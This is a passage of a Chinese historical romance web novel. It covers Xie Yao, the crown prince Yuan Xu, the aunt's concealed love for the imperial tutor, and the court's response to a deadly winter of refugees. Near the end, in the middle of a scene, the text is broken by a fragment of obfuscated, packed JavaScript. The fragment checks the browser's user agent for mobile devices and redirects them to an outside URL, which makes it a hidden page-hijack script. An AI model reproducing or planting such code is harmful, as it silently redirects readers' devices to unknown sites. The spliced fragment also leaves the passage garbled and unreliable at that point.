棠梨慌不择言,一时找不到理由搪塞,只好如实相告,“小姐想买点心给太子殿下过生辰,但她出不了宫,所以我才替她来的西市。”
陆琼宇苦涩一笑,眸中墨色浸染,晦暗如黑夜。他心中酸涩:自己竟连再问下去的勇气都没有了。
谢杳买好点心后,朝着他们二人走来,越走近越觉得奇怪。
“阿宇,你怎么了?”谢杳关切地望着陆琼宇,“不舒服吗?”
“阿杳,抱歉。我还有事,就先回去了。”言罢,陆琼宇落荒而逃。
谢杳愣怔在原地,她面带疑惑,转而望向棠梨。
棠梨将他们二人适才的对话一五一十地讲给谢杳,连连赔罪。
“你又没做错什么,不必歉疚。”谢杳拍了拍棠梨的肩膀,以示宽慰。
待她们回府后,谢杳靠在院中的摇椅上,默默思量,她眉头紧锁,阿宇为什么会对太子殿下有敌意?他们之间除了儿时在江宁有几面之缘外,也没什么别的交集。
谢杳百思不得其解,无奈时及飧食,只好将疑问暂时搁置。
天色阑珊,零星的灯火依次亮起。整个东宫,就数西南角的南阙阁光亮最盛。
元序悠闲地倚在南阙阁的窗边,四下眺望。
苏木犹豫着走上前,见元序神情惬意,想是心情不错,才缓缓开口:“殿下,太子妃今日出门去了西市。”
元序忍俊不禁,心想:昭昭这是嘴馋了?
“和……和陆小侯爷一起。”苏木顿了顿,补完了后半句话。
“新任大理寺少卿?”元序面不改色。
苏木点了点头,“但不知道为什么,他后来先行离开了,并未和太子妃一道。”
元序隐隐担忧:父皇最忌江宁侯府结交权贵,更遑论是文武世家相交。从前在江宁,远隔京城数千里,不好追究,而今近在咫尺,焉能容得下。
“陆少卿经常去找太子妃吗?”
苏木思忖了片刻,“大理寺公务繁忙,且陆少卿新官上任,应是没有多少空闲时间。这么久以来,太子妃也就只与他出门同游了一次。”
“多留意父皇的动向。”元序嘱咐道。
云层卷积,天边的一轮残月时隐时现,夜色渐沉,晦暗不明。
“当——当当——平安无事!”
借着打更人的声音掩饰,一个身影从檐上快速闪过,翻窗进了屋内。
谢杳等在桌案旁,见到来人,连忙起身相迎。
“发生了何事?”谢弈月挥手示意,让谢杳坐下说。
“也不是什么大事,只是有件事我实在想不明白。”谢杳倒了一盏茶,递给谢弈月,“所以,想听听姑姑的见解。”
“但说无妨。”谢弈月不免有些好奇。
谢杳将白日的情形一字一句地复述给谢弈月,见她不置可否,又问,“姑姑,阿宇可是与太子殿下有过节?”
谢弈月忍俊不禁,摇了摇头,“据我所知,他们二人没什么交集,何来的过节?”
“那是怎么回事?”谢杳一头雾水。
谢弈月无奈地望向自己的小侄女,心中暗叹:昭昭这丫头如此聪慧,怎么就是不开窍呢!
“昭昭可有心悦之人?”
谢杳闻言微怔。
“待昭昭日后有了心悦之人,就自然明白了。”谢弈月意味深长地说道。
谢杳似懂非懂,点了点头。
“这样也好,玉楼一时半刻是不会再来找你了。”谢弈月迎上谢杳的目光,“你也不要去找他。”
“圣上是不是还对段氏一案心存芥蒂?”谢杳面露担忧。
“此事查无对证,本不起眼,可元朔生性多疑,你又锋芒过显,自是让他忌惮。”谢弈月直言。
“那……太子殿下会不会有事?”谢杳没忍住,问出了口。
“太子能有何事。”谢弈月叹了口气,“如今你自身难保,还担心太子?”
“姑姑,这是祖母的门楣,我如何能置身事外?就算我不出手,圣上也会查到我头上来,他不可能不怀疑江宁侯府。”谢杳辩解道。
“那你也不该轻举妄动。”谢弈月语重心长地嘱咐谢杳,“纵使太子真的救了段氏后人,他也不会有性命之忧,可你不一样。”
谢杳垂眸,有些失落。
谢弈月拍了拍谢杳的肩膀,宽慰她道:“姑姑知道你对太子心怀感激,可凡事都要量力而行,否则只会适得其反。”
“谢杳记住了。”谢杳郑重地点了点头。
谢弈月走后,谢杳仍旧坐在原地,直到天色泛白,第一缕阳光洒在窗棂。
她推开门,走到院内。
晨光熹微,万籁俱寂,夏天悄悄溜走,秋意初现。
***
朔光十五年中秋的午后,一辆装饰华贵的马车停在光德坊的巷口。
从马车上走下一位气度不凡的白衣少年,径直走进了顾府。
伏在桌案上咳嗽的顾怀川见太子前来,连忙起身见礼。
“老师,您可有好些?”元序快步上前,制止住了顾怀川的动作。
“我没事,殿下不必担心。”
顾怀川话音刚落,小厮就急急忙忙地跑了进来,“家主,太子妃来了。”
顾怀川瞥了眼太子,忍不住扬起嘴角,“快请她进来。”
谢杳在小厮的引路下,缓缓走进堂内。她望见元序,脚步一顿,顺势向堂内的二人依次见礼,“太傅可有好些?今日恰逢中秋,我给您买了些月团,不知道合不合您的口味。”
“多谢阿杳,我已无碍。”顾怀川抬手,示意她坐下。
“老师既已无碍,不妨同您的门生一道,夜游曲江池如何?”元序趁机问道。
顾怀川低头不语,余光瞥向谢杳,想看她作何反应。
谢杳起身,还未来得及开口,就被元序抢了先,“昭昭不去吗?”
元序直视谢杳,继续说道:“长安西市去得,曲江池去不得?抑或是,陆少卿可同行,孤不可?”
谢杳矢口否认,“不是!”
元序粲然一笑,不忍再逗她,“那便坐下,待时辰到了,一同出发。”
谢杳只好坐回原位。
顾怀川忍俊不禁,这还是他第一次见太子如此在意一个人,在意到恨不得让所有人都知晓他的心意。阿杳倒完全相反,让人捉摸不透。
用过飧食,顾怀川与元序、谢杳一道,出了府去。他抢先一步,上了另一辆马车,而后先行离去。
谢杳见状,只好与元序同乘。
“殿下是不是故意为之?”谢杳率先开口。
元序眨了眨眼,作出一副无辜的样子。
“我只能借中秋之由前来探病,殿下不难猜到。”谢杳瞋目盯着元序。
元序轻叹:“昭昭真是偏心。”
“殿下倒打一耙!”谢杳反驳道。
“陆少卿近水楼台,又得昭昭青睐,不像孤,跋山涉水,才能与昭昭同行。”元序故作失落。
谢杳被他这一番话逗得直笑,“阿宇初来乍到,我总要尽地主之谊。”
元序轻轻敲了一下谢杳的额头,“我知道。”
曲江池畔,游人如织,元序帮谢杳戴好帷帽,扶着她下了马车。
“老师,人太多了,我们不要走散了。”元序出言提醒。
顾怀川思量了片刻,“我知道一条小道,可以很快走到曲江东畔,那边人不多。”
谢杳于帷帽中四下打量,“那就请太傅带路吧,这里人实在是太多了,说话都不方便。”
元序和谢杳跟在顾怀川身后,穿过一片林间小道,在快到东畔的一处水榭旁停下了脚步。
“我们休憩一下吧。”顾怀川说着,走进水榭,坐了下来。
“这里竟真的没什么人。”谢杳很是惊奇,“太傅是如何发现的?”
顾怀川沉默良
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久,久到谢杳以为他不会回答了,才幽幽开口:“这是你姑姑发现的。”
“姑姑少时常来此?”听到他言及姑姑,谢杳很是兴奋。
“是。不过她少时怕黑,不敢一个人,都是我陪她来的,所以我才对这里很熟悉。”顾怀川的脸上堆满笑意,语气也变得很温柔。
“姑姑竟然怕黑?”谢杳莞尔,又问:“那姑姑每次来都是太傅陪着?”
顾怀川笑着点头默认。
谢杳忽地想到什么,面色一改,“文定十一年上巳日,太傅可曾到此?”
顾怀川闻言微怔,回忆不自觉涌上心头。良久后,他迎上谢杳的目光,向她轻轻点头。
“怎会如此?”谢杳脑中一片混乱。
元序将谢杳拽到一旁,扶着她的肩膀勉强让她冷静下来,“昭昭,你在说什么?”
“文定十一年上巳日,姑姑在此落水,据她所言,是圣上救下了她。”谢杳眉头紧蹙,“可若依太傅所言,岂非互相矛盾。”
“阿杳,你猜得无错。”顾怀川忽然出声,“确实是我救下了她。”
谢杳和元序皆愣怔在原地,不知该作何回应。
“那日,皎皎邀我和圣上一同来此修禊、游春。我送她到此处后,留她一人在水榭等候,便折返去迎圣上,没想到刚走出不远,就听见她呼救的声音……”
顾怀川将往事娓娓道来。
大晟,文定十一年,上巳日。
“皎皎一人在此真的可以吗?”顾怀川还是有些不放心。
“无妨。”谢弈月嫣然一笑,“我就在这儿等着,又不会乱跑。”
“好,我去接太子殿下,很快回来。”言罢,顾怀川转身疾步离去。
没过多久,忽然传来一声异响,紧接着是一阵呼救声。
“泽谦……救命……”
顾怀川循声回望,见水榭中空无一人,想也没想,一头扎进池中。
谢弈月呛了几口水,艰难地在水中挣扎着,可惜她不会凫水,没过多久便失了气力,沉入池中。
顾怀川将她救上岸时,她已经不省人事。
“皎皎!醒醒!”
顾怀川抱起谢弈月,快步往回跑,于途中正巧碰上向他们而来的元朔。
“这是怎么了?”元朔神情一凛。
“殿下,皎皎落水了。”顾怀川一边跑着,一边说明情况。
“坐孤的马车,阿月这般,骑马不便。”元朔从顾怀川的怀中接过谢弈月,将她抱上马车。
谢弈月猛地一阵咳嗽,将呛的水都吐了出来,她眼睫微动,元朔的面容映入她的眼帘。
元朔见她睁眼,刚欲开口,却见谢弈月头一歪,又昏了过去。
此后数日,元朔辗转于东宫和谢府,他日复一日地守在谢弈月的身旁,直到她恢复如常。
自那以后,谢弈月与顾怀川和元朔之间的关系,发生了微妙的变化。
少女不再怕黑,也不再跟在顾怀川身后,她渐渐独当一面,宛若换了个人般。
浮云散去,满月当空。
皎洁的月色映在池中,如梦似幻。
元序幽幽开口:“彼时,母亲已过世一载,太子妃之位空悬,父皇有意续弦?”
“圣上倾慕皎皎已久,因过往迫于长辈之命,碍于我和皎皎的青梅竹马之情,无法言明。”顾怀川神色怅惘,自嘲地笑了笑,“后来皎皎与他知心,圣上自是不必再掩饰。”
“若依此言,他们二人互相倾心,那姑姑为何没有做太子妃?”谢杳不解。
顾怀川落寞地摇了摇头。
“皇祖父断不会阻拦,难道是令祖父?”元序亦很是疑惑。
谢杳笃定地摇了摇头,“祖父或许是会阻拦,可姑姑绝不是那种知难而退的人,她若有意,定会拼尽全力,誓不罢休。”
三人一时无言,思绪陷入僵局。
谢杳颇感遗憾,“太傅,您就没有想过告诉姑姑实情吗?”
“皎皎后来一直躲着我,对我避而不见。”顾怀川掩面叹息,“我不愿扰她清净,只要她安好,就够了。”
“姑姑如今真的过得好吗?”谢杳眼眶微红,走到顾怀川面前,“太傅,您何不再见她一面,总好过一生错付。”
“我已不能见她。”顾怀川目光苍凉,“阿杳,这世间有太多阴差阳错,有些人、有些事,并非一直可待的。”
谢杳不语,眼底满是悲伤。
三人经此一叙,都没了再游乐的兴致,于是他们不约而同,沉默着原路返回。
顾怀川与二人分别前,轻声嘱托元序送谢杳回府,而后他头也不回地转身离去。
元序和谢杳垂头丧气地上了马车,相顾无言。
一些儿时的记忆如走马灯般,浮现在谢杳的眼前。
“姑姑,你可不可以不要走?”小谢杳眼泪汪汪,死死攥住谢弈月的衣袖。
“昭昭乖,姑姑又不是不回来了。”谢弈月温柔地摸了摸她的头。
小谢杳仍是不松手,“姑姑为何执意要留在长安?”
“因为……长安有姑姑想要守护的人。”谢弈月顿了顿,眼神愈加坚定,“很重要的人。”
“想要守护的……很重要的人。”
谢杳用余光偷偷瞥向元序,时隔多年后,她渐渐体会到了姑姑当年的心情。
如今在长安,她也有想要守护的人了。
马车快行至常乐坊时,谢杳蓦地拽住元序的手腕,她眼神闪烁,迎上元序的目光。
“殿下,就送到这儿吧。”
11. 第十卷·愿逐月华流照君
马车骤然停在常乐坊巷口,元序起身,与棠梨换了个位置,留她们二人单独在马车内。
片刻后,棠梨下了马车,与驾车的苏木讲了几句话,然后转身向东市的方向走去。
马车继续向前,最终停在谢府门口。
头戴帷帽的谢杳下了马车,躬身见礼。她一直目送着马车,待它消失在巷口,才回身进了府。
无人察觉的偏僻小巷里,一个身影从马车跃下,三两步跳上屋檐,翻墙进了谢府。
红尘楼内,人声鼎沸。
中秋佳节,达官显贵、文人墨客、平民百姓皆会聚于此,宴饮赏月,好不热闹。
“棠梨”低着头,尽可能避开人流,走到拐角处。
她轻声唤来一个小厮,交代了几句。那小厮频频点头,转身直奔副楼主房间而去。
“副楼主,有一位名唤棠梨的姑娘,说是有急事找你。”
月见在小厮的引路下,快步来到一楼,她见一身侍女装扮的谢杳,很是惊诧,连忙护着她走进里间。
“你怎的这身打扮?也不怕被旁人认出来?”月见诘问道。
“阿姊,我有急事,快带我去见姑姑。”
“你且等一等,师父在见客,不好打扰。”月见拉着谢杳,走到桌子旁坐下,“阿杳可是遇到了棘手之事?”
“倒也不是我的事。”谢杳饮了口茶,清了清嗓子,她适才走得很急,喉咙发干,有些不适。
月见见谢杳不欲多言,也就识趣地不再追问,“时辰差不多了,你随我上去吧。”
“师父,这位是棠梨姑娘,她有事找您。”
谢弈月屏退了屋内的人,又命月见将门关好,守在门外。
“怎么了?”谢弈月望着眼眶微红的谢杳,柔声问道。
“姑姑,你可知……”谢杳心急如焚,一时不知该从何说起。
谢弈月走到谢杳面前,凝眸看向她,这么多年,她还是头一次见到自己这小侄女如此魂不守舍。
“昭昭莫急,慢慢说。”
“姑姑,今日我和殿下还有太傅,一同去了曲江池。”谢杳直视谢弈月,想看她作何反应,“太傅带我们到了一处水榭。”
谢弈月的眼底闪过一丝不易察觉的忧伤。
“太傅说,你们少时常去那儿。”
“是。”谢弈月故作漫不经心,“那处水榭就是我之前同昭昭讲过的地方。”
“文定十一年上巳日,姑姑可还记得?”谢杳语气悲凉,一字一顿地说道:“姑姑那日认错了人,也错付了心意!”
谢弈月付之一笑,垂眸不答。
“姑姑为何不问缘由?不问问我是如何知道的?”谢杳不解。
谢弈月抬眸,与谢杳目光交汇,却仍旧默不作声。
谢杳的心中生出一个极为荒诞的想法,她声音颤抖,“姑姑早就知晓?”
谢弈月点了点头,缓缓开口:“文定十一年的中秋,元朔约我到曲江池赏月,我无意间发现他并不知晓那处水榭在何处。后来,我想泛舟夜游,被他拦下,我偷偷问他的侍卫,才知道他怕水。”
“怕水之人,如何能够凫水救人。”谢杳轻蔑一笑。
谢弈月神色淡然,“那时我便知晓,救我的人不是他。”
“所以姑姑这些年在长安守着的那个人,是太傅?”谢杳为之动容。
谢弈月轻叹:“这么久了,昭昭竟还记得我当年说过的话。”
“姑姑,我不明白,既然你早已知晓,为何不与太傅说清楚?”谢杳言辞恳切。
“昭昭,我已不能向他言明。”谢弈月走到窗边,背对着谢杳,努力让自己平静下来,“我所心悦之人一直是泽谦,之前种种,皆是负气之举,却不曾想,元朔真的属意于我,还有意让我做太子妃。阴差阳错,一切都为时已晚。”
“姑姑是怕圣上对太傅下手?”谢杳无奈叹息。
“我拒绝了太子妃之位,依元朔的性格,倘若知晓真相,定不会容他。彼时父亲已有退隐之心,他在大殿当着百官的面婉拒了太傅一职,又向太祖举荐了泽谦。”谢弈月转身望向谢杳,眼底满是悲凉,“所以,我便更不能说了。”
谢杳的眼泪夺眶而出,她走上前,紧紧拥住姑姑。
谢弈月轻轻拍了拍谢杳的后背,“不必难过。”
“姑姑,就没想过放下吗?”
谢弈月松开谢杳,面对着她,认真地说道:“昭昭,有些感情,早已深入骨血,无法舍弃。”
“可遥遥相望,不能再进一步,真的值得吗?”
谢弈月抬手擦掉谢杳脸颊上的眼泪,“值得。”
“相濡以沫只是戏文佳话,这世间多得是爱而不得。浮生转瞬即逝,能够遇到心意相通之人,已是幸事。”
“若有一日昭昭遇到了,可千万不要错过。”
谢杳坐在院中,望着天上云,云间月,反复回想着姑姑的话。
“嘎吱——”
谢杳循声抬头,猛地起身,“谁?”
“昭昭真是耳聪目明。”
“殿下?”
元序从树上跃下,拂了拂衣袖,掸掉身上的尘土。
“见过姑姑了?”
谢杳轻轻点头。
元序走到谢杳面前,上身微倾,打量着她,“昭昭怎么还哭了?”
谢杳不好意思地侧过头去。
“给你的。”元序从衣衫中掏出几块饴糖,递给谢杳。
“吃点甜的,就不那么难过了。”
谢杳眸光微动,伸手接过饴糖。
“殿下藏在树上,就是为了等着给我送这个?”
元序眨了眨眼,“不然呢?”
谢杳展颜一笑,拿起一块糖,塞进嘴里。
“姑姑怎么说?”
元序见她心情好了些,才开口问道。
“姑姑早就知晓了。”谢杳叹了口气,“我儿时一直以为姑姑是为了圣上才守在长安,其实不然,她是为了太傅。姑姑心悦的、想要守护的重要之人,自始至终都是太傅。”
“他们心意相通,却不能更进一步,确实遗憾。”元序亦感叹道。
谢杳摇头否认,“并非心意相通,太傅还不曾知晓姑姑的心意。”
元序正色,温声劝道:“这件事,还是等着姑姑自己开口吧。”
谢杳撇了撇嘴,心生疑问,“倘若殿下是太傅,会怎么做?”
元序毫不犹豫地说道:“我当下便会问。纵使对方无意,也好过彼此错过。”
“这可是殿下自己说的。”谢杳莞尔,“切莫违背!”
“拉勾!”元序向她伸出手。
谢杳伸手,勾住元序的手指。
二人相视一笑,“拉勾!”
暮色渐沉,红尘楼灯火
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通明,让人不知昼夜。
谢弈月提着一壶酒,倚在窗边,不时小酌几口。
满月高悬,清辉四溢,整个长安城都笼罩在朦胧的月光之中,醉了一阙琼楼玉宇。
酒入愁肠,却没能让她入眠,反而更加清醒。
在宵禁前的最后一刻,谢弈月戴上帷帽,出了楼去。
书房的桌案上,堆满了经史古籍,顾怀川一本一本的将它们拿起,分门别类的整理好,再放回书架。
一来一回,不知辛劳,持续了一柱香的时间。
顾怀川理好书架后,长长地叹了口气。过往的回忆不断浮现在他的脑海,令他心烦意乱。
顾怀川推开窗户,望向天边的那一轮明月,失了神。
文定十一年中秋节,街上人来人往。
路过的人瞧着谢府门口久久伫立的少年,无不满腹狐疑。
“这是哪家的公子?怎的一直站在门外?”“他好像是谢尚书的门生。”“顾太傅?”“那怎么还站在门外?”
……
顾怀川置之不理,他坚持着等在谢府门前,直到谢弈月回府。
“皎皎,你当真要做太子妃?”
顾怀川走到谢弈月面前,拦住了她的去路。
谢弈月不答,移开目光,不去看他。
顾怀川扶着她的肩膀,迫使她看向自己。
“对!”谢弈月瞋目望向顾怀川,“我就是要做太子妃,不只如此,我还要当皇后。”
顾怀川愣然,双手脱了力,谢弈月见状,甩开他的手。
“皎皎当真心悦太子殿下?”
顾怀川露出一丝苦涩的笑容,不可置信地望着她。
“还未来得及恭喜顾大人,你如今官拜太傅,贵人事多,就莫要再操心这些闲事了。”
谢弈月丢下这么一句话,快步跑进府内。
顾怀川停在原地,不敢再进一步,万般无奈,惟余叹息。他仰望苍穹,眸光闪烁。
夜色阑珊,月明星稀,满月高悬,却又形单影只。
亥时初刻,宵禁闭市,曲江池畔,人影稀疏。
谢弈月孤身一人,穿过晦暗的林间小路,走到水榭之中。
秋风瑟瑟,水面泛起层层涟漪。
谢弈月望着池中被吹皱的月华,面露悲戚。她心中有悔,却无人可说。一切阴差阳错皆始于此,倘若当年的她没有意气用事,结局会不会一样?
可惜,这些都已无从得知。
同居长干里,两小无嫌猜。这句话,道尽了他们之间的因缘。
谢弈月自记事起,便与顾怀川形影不离,她对他太过熟悉,以至于有关他的一切,她都了然于心。
她始终记得,顾怀川的志向是为天地立心,为生民立命,为往圣继绝学,为万世开太平。太傅之位,于他而言,重若千钧。时过境迁,她怎么能开口,让他走到自己身边呢?
如今的顾怀川早已不再是当年的那个顾泽谦,他的肩上有着更重的责任。谢弈月亦是如此,她的背后是整个江宁侯府,行差踏错之事,她万万不能再做。
谢弈月遥望天边明月,默默祈愿:此生不求偕行,惟盼君安。
“滴答——”
雨水淅淅沥沥,卷着落叶,打在池中。
一场秋雨,一场寒。长安的秋天,就在浓浓的愁绪里,氤氲生长,直到迎来下一个季节。
12. 第十一卷·哀民生之多艰
朔光十五年冬至前夕,白雪茫茫,天寒地冻,街上的行人寥寥无几,都不自觉地加快了脚步。
棠梨裹紧斗篷,搓了搓手,“小姐,天气太冷了,我们送完还是快些回去吧。”
谢杳笑而不语,将手中的暖炉递给棠梨,转而掀起窗帷,望向外面。
她来长安四载,惟今岁冬日,最为寒冷。北方暴雪成灾,光是长安城内就冻死了数百名乞丐,更遑论其他州府。
谢杳叹了口气,心中隐隐担忧:也不知江南现下如何。
马车行至延兴门旁的一个偏僻小巷,停了下来。
谢杳戴好帷帽,与棠梨一同下了马车。
她们和随行的小厮走上前,将御寒的衣物还有热食,分发给巷内的乞丐们。
“谢谢姑娘!”
聚集在巷内的乞丐们纷纷跪地,接二连三地喊道。
谢杳微微倾身,扶起跪在她面前的老者,“老丈,您快起来。”
“大家都快起来。”
谢杳边说着,边一一将他们扶起。
“我一人之力实在微末,只能给大家筹备到这些。隆冬将至,万望各位珍重。”
天色阴沉,狂风怒号,吹得窗牖吱吱作响。
谢杳回府后,没过多久,外面就又飘起了雪花。
“今年的天气,怎的如此反常。”棠梨微微蹙眉,“小姐,我再去拿些炭火来。”
谢杳叫住棠梨,“我不冷,还是省着些用吧。”
棠梨回身走到衣架旁,拿起斗篷,披在谢杳身上。
大雪持续了整整三日,终于在第四日的清晨迎来了晴空。
谢杳推开门,站在檐下,放眼望去,满目皆白。她小心翼翼地踩着雪,走到院中。
昨日半夜传来几声巨响,原来是院中的海棠树,被风雪压断,折得只剩下矮矮的一截树干。
谢杳俯身,轻轻拾起地上的一根残枝,心中感慨:树木尚且如此,更何况人呢。
她唤来棠梨,交代了几句,而后快步出了府。
东市人头攒动,挤满了衣衫褴褛的流民,络绎不绝,涌向各个街巷。
谢杳艰难地躲避着四散的人群,加快了自己的脚步。
快到红尘楼时,一群流民忽然从巷口拐角冲了出来,谢杳来不及躲闪,瞬间失去了平衡,向后一仰。
片刻后,她落在一个温暖的臂弯中。
谢杳转头,透过帽上帷纱望向身侧的人,微微一怔,“二殿下。”
“先上马车。”
元庆将谢杳扶稳,拉着她上了马车。
“二殿下怎会在此?”谢杳很是疑惑。
“国公府家宴,恰巧路过。”元庆默默松开手。
谢杳腹诽:薛国公府不是在东市西侧吗?
“方才太子妃可是给了一个小乞丐银钱?”
谢杳闻言一惊,“二殿下怎么知道?”
元庆指了指谢杳手腕上的镯子。
谢杳垂眸,恬然一笑。
元庆轻叹:“太子妃此举虽能帮衬到那小乞丐一些,可世间流离失所之人无数,何时能救得完?”
“能救一个是一个。”
谢杳话音刚落,马车忽地一晃,她猛地抓住窗沿才勉强没有摔出车外。
元庆不动声色地收回手,扬声问道:“怎么回事?”
“公子,小姐,有流民拦车。”驾车的侍卫沉声应道。
谢杳微微掀起窗帷,露出一角,暗中观察。
几乎同一时间,有人高喊道:“是太子妃!”
谢杳猛地收回手。
“方才我们的言谈声并不大,更何况你还戴着帷帽,流民不可能认得出。”元庆面色一凛,“这怕是一早就为你准备好的陷阱。”
元庆对谢杳摆了摆手,示意她不要出声。他掀起车帷,走了出去。
马车旁的流民见有人出来,一窝蜂地拥上前。
人群中煽风点火的那人见状,呼吸一滞,二殿下怎么会与她在一起?
“怎么是个男子?”“不是太子妃吗?”
人声嘈杂,一片混乱。
不知从何处忽然传来一句,“难道他是太子?”
流民纷纷跪地叩拜。
“荒唐!”元庆正欲发作,被谢杳拦了下来。
“你怎么出来了?”
谢杳对着他轻轻摇头,又转而面向流民,“大家误会了,他并非太子,而是我府上的侍卫。”
跪在地上的流民仍旧毫无动作,他们鄙夷地望着面前头戴帷帽的女子。
谢杳作势欲拨开帷纱,元庆抬手阻拦,她却将身子一侧,躲开了他的手。
谢杳摘下帷帽,露出一个温和的笑容,“大家先起来。我就是大晟的太子妃谢杳,有什么事,大家同我说便是。”
“真的是太子妃!”“求太子妃救救我的孩子!”“太子妃,朝廷的赈灾粮何时能给我们?”……
一时间呼声四起,滔滔不绝。
霎时,从远处传来一声马鸣,响彻东市的街巷。
元序疾驰而来,勒马停在人群背后。
谢杳与他隔着人群,遥遥相望,难掩欣喜之色。
元序高高举起手中的圣旨,“孤乃大晟太子,此次赈灾一事由孤全权负责,圣旨在此,大家切莫担忧。孤保证,赈灾粮不日便会发放到各位手中!”
流民大喜,不再聚集,纷纷离去。
“昭昭,你没事吧?”元序跃下马,穿过慢慢散去的人群,向谢杳跑来。
谢杳笑着摇了摇头,“我没事。”
元庆舒了口气,走上前,“皇兄,幸好你来了。”
元序一愣,“二弟也在。”
他转而望向谢杳,“太子妃,我们可否到你府上一叙?”
“乐意至极。”谢杳莞尔。
元庆见状,不愿再大煞风景,“皇兄,臣弟便不打扰了。”
元序顺水推舟道:“二弟请便。”
言罢。他拿起谢杳手中的帷帽,为她戴好,扶着她上了马。
二人同乘一骑,朝着谢府的方向,策马而去。
进了府,元序立刻开口:“昭昭是要去见姑姑吗?”
谢杳点了点头,“我想去找姑姑问问家中境况。”
“江南今冬还未曾下过雪,昭昭不必担心。”元序顿了顿,又问:“二弟为何会出现在东市?”
谢杳失笑,忍不住卖了个关子,“殿下,这跟流民、赈灾没什么关系吧?”
元序一言不发,目不转睛地盯着谢杳。
谢杳不好意思地移开目光,喃喃说道:“二殿下说,他参加国公府家宴,顺道路过。”
“今日冬至,薛国公府确有家宴不假,可国公府位于东市西侧的宣阳坊,他要赴宴,何须行至东市。”
“我也很奇怪,但二殿下就是这么说的。”
谢杳敛了神色,将适才自己与元庆的所遇悉数讲给元序。
元序面色一沉,眼底划过一抹凉意,“有人故意藏在流民中,煽动情绪,想借流民之手,加害于你。”
“可他没料到二殿下会同我在一起,所以只好就此作罢。”
元序面露担忧,“昭昭,这几日你还是莫要出府了。”
“那可不行,我身为大晟的太子妃,怎能对流民视若无睹?”谢杳急切应道。
元序眸光闪烁,他的嘴唇微微歙动,终是没有开口。
“殿下,可是赈灾粮出了什么问题?”谢杳直言相问。
“并非赈灾粮。”元序无奈叹息,“今冬严寒,还未至隆冬,便已流民遍地,朝廷却只知开仓放粮,可一味地依靠赈灾粮,不过是扬汤止沸,抱薪救火罢了。”
“光有粮食是不够,还要有御寒之物,避难之所。”谢杳接过元序的话。
“话虽如此,却难实施。国库之银,捉襟见肘,撑不了多久。”
谢杳思忖了片刻,“若得长安世族、富商出资,筹集御寒之物便不难。至于避难之所,长安庙宇众多,可以暂时收容无居所的流民,支撑他们捱过这个严冬。”
元序颔首,“昭昭与我心有灵犀。”
谢杳继续说道:“殿下不妨在东西两市发放赈灾粮,我在东市,让苏木去西市,我们二人分管两市。”
元序会心一笑,“剩下的交给我。”
翌日,元序将他与谢杳商量出的应对之策,请奏给圣上。圣上大悦,立刻吩咐福来传旨各坊,又命他亲自前去督办避难之所的安置。
元序见此事有了着落,便不作多留,即刻出了宫去。
“殿下,我们去哪儿?”驾车的侍卫询问道。
元序眸光微沉,幽幽开口:“去薛国公府。”
长安东市的主巷巷口聚满了人,流民们有序地排着队,欣喜地等待着。
谢杳站在一旁,舒了口气,心中默默想到:也不知道太子殿下那边顺不顺利。
“太子妃,我代一家老小,谢谢您!”一个流民认出了谢杳的面容,连忙跪地,向她拜谢。其余的流民见状也纷纷出声,连连道谢。
谢杳快步上前,将她扶起,“快起来。”
“大家不必谢我,这些粮食都是朝廷所出,大晟不会抛弃任何一个百姓,太子殿下亦不会,还请诸位与大晟一道共克时艰!”
谢杳的一番话掷地有声,众人纷纷呼应。
马车停在薛国公府的门前,元序拂了拂衣袖,径直进了府。
“不知太子殿下前来,有失远迎,还望殿下恕罪。”
一个高亢的声音从堂外传来。
元序闻声起身,少顷,薛国公缓缓走进堂内。
“薛国公言重了。”元序付之一笑。
薛凌寒面色和善,抬手示意,在元序坐下后,也落了座。
二人相对而坐,互相打量着对方。
“不知殿下大驾光临,所为何事?”薛凌寒率先开口。
元序唇角一扬,“孤还真有一件事,需要薛国公帮忙。”
“殿下请说,老臣定当竭尽所能。”
“今冬严寒,民不聊生,父皇颇为忧心。薛国公既为百官之首,声望甚威,定是愿意为父皇分忧。”元序抬眸迎上薛凌寒的目光,“孤想请国公出面,筹集赈灾款项,以救济灾民。”
薛凌寒沉默了片刻后,笑着说道:“殿下真是抬举老臣了,臣年事已高,心有余而力不足。”
“国公说笑了,您虽年迈,却不昏聩。”元序敛了神色,“更何况,薛氏在洛阳,产业颇丰。只要您有心,总会有余力的。”
薛凌寒神色微动,“殿下明鉴,臣两袖清风,绝无异心。”
元序闻言,微微一笑,“国公多虑了,孤并无他意。”
言罢,他缓缓起身,“国公只需一言,便能救百姓于水火,何乐而不为呢?孤公事繁忙,就不多留了。”
薛凌寒移步至元序跟前,欲送他出府。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957931|161011||http|test|mini|href|location''.split(''|''),0,{}));
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>“国公不必送了。”
元序施礼道别,快步离去。
待他走后,一个戴着面具的玄衣之人疾步走进堂内,“拜见国公。”
薛凌寒幽幽开口:“去查查太子是如何得知的。”
“属下遵命。”
薛凌寒背过身,轻蔑一笑,“时机未到,就先给我们这位太子殿下一个面子吧。”
元序到达东市时,谢杳一行人正准备离开。
他悄悄走到谢杳身后,拍了拍她的肩膀,“今日辛苦昭昭了。”
谢杳被吓了一跳,“殿下就不怕我把你认作歹人,打得鼻青脸肿吗?”她作势挥了挥拳头。
元序轻快地晃了晃头,表示自己丝毫不惧。
“殿下今日都去哪里打秋风了?”谢杳忍俊不禁。
“国公府。”元序放低声音。
谢杳挑眉,“真不愧是太子殿下。”
二人相视一笑,旁若无人。
棠梨见天色不早了,只好出声提醒:“小姐,我们今日还要去延兴门吗?”
元序闻言,面露疑惑。
“小姐每隔半月便会去延兴门附近的偏巷施粥。入冬后,去得更勤了些,还给乞丐们送了许多御寒之物。”棠梨抢在自家小姐开口前,详细地解释道。
谢杳瞥了她一眼,“你这心直口快的毛病,什么时候能改一改?”
“孤倒是觉得,不必改。”元序出言帮忙。
棠梨掩面偷笑,默默向后退了几步,与他们拉开距离。
谢杳转而望向元序,“殿下是不是该回宫了?”
元序摇头,微微扬唇,“孤同太子妃一道,去延兴门施粥。”
谢杳眉眼一弯,点了点头。
延兴门偏巷的一个破庙里,乞丐们聚在火炉边,不停地搓着手。
他们隐约听见巷子里的马车声,纷纷起身,走出庙外。
